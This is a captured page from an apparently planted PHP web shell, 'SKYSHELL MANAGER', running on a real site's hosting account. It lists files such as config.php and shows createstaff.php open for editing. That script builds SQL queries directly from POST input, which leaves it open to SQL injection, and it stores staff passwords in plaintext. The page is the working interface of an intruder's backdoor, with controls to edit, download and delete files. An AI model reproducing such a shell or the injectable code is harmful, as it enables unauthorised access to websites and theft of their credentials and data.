📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
10963.12 KB
0644
🗑️
⬇️
✏️
🔒
Editing: createstaff.php
<?php if(isset($_POST['user'])){ $nam=$_POST['user']; $email=$_POST['mail']; $past= $_POST['pass']; $status="staff"; include "connect_to_mysqli.php"; $extract_user = mysqli_query($con,"SELECT * FROM admin WHERE user='$nam'"); $count = mysqli_num_rows($extract_user); if ($count > 0) { echo '<font color="red">Username Already Registered,Try Another</font>'; } else { $dear=date("Y-m-d"); // current date //submit to user table $submit = mysqli_query($con,"insert into admin (user, email, password, status) values ('$nam','$email','$past','$status')") or die ('Could not connect: ' .mysqli_error($con)); echo '<font color="green">Staff Successfully Registered!</font>'; }} ?>
💾 Save Changes